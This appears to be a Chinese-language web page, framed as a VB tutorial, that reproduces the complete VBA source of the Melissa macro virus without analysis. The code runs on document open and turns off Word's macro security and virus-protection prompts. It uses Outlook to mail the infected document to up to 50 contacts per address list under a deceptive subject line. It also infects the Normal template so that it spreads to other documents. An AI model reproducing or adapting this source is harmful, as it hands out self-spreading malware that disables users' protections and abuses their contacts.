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  • vb教程之一个用VBA编写的Melissa病毒

  • 2017-06-17 16:31 来源:未知
Private Sub Document_Open() 
On Error Resume Next 
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then 
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& 
Else 
CommandBars("Tools").Controls("Macro").Enabled = False 
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) 
End If 

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice 
Set UngaDasOutlook = CreateObject("Outlook.Application") 
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") 
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then 
If UngaDasOutlook = "Outlook" Then 
DasMapiName.Logon "profile", "password" 
For y = 1 To DasMapiName.AddressLists.Count 
Set AddyBook = DasMapiName.AddressLists(y) 
x = 1 
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) 
For oo = 1 To AddyBook.AddressEntries.Count 
Peep = AddyBook.AddressEntries(x) 
BreakUmOffASlice.Recipients.Add Peep 
x = x + 1 
If x > 50 Then oo = AddyBook.AddressEntries.Count 
Next oo 
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName 
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)" 
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName 
BreakUmOffASlice.Send 
Peep = "" 
Next y 
DasMapiName.Logoff 
End If 
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo" 
End If 

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) 
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) 
NTCL = NTI1.CodeModule.CountOfLines 
ADCL = ADI1.CodeModule.CountOfLines 
BGN = 2 
If ADI1.Name <> "Melissa" Then 
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL 
Set ToInfect = ADI1 
ADI1.Name = "Melissa" 
DoAD = True 
End If 

If NTI1.Name <> "Melissa" Then 
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL 
Set ToInfect = NTI1 
NTI1.Name = "Melissa" 
DoNT = True 
End If 

If DoNT <> True And DoAD <> True Then GoTo CYA 

If DoNT = True Then 
Do While ADI1.CodeModule.Lines(1, 1) = "" 
ADI1.CodeModule.DeleteLines 1 
Loop 
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()") 
Do While ADI1.CodeModule.Lines(BGN, 1) <> "" 
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) 
BGN = BGN + 1 
Loop 
End If 

If DoAD = True Then 
Do While NTI1.CodeModule.Lines(1, 1) = "" 
NTI1.CodeModule.DeleteLines 1 
Loop 
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") 
Do While NTI1.CodeModule.Lines(BGN, 1) <> "" 
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) 
BGN = BGN + 1 
Loop 
End If 

CYA: 

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then 
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName 
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then 
ActiveDocument.Saved = True 
End If 

'WORD/Melissa written by Kwyjibo 
'Works in both Word 2000 and Word 97 
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! 

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here." 
End Sub

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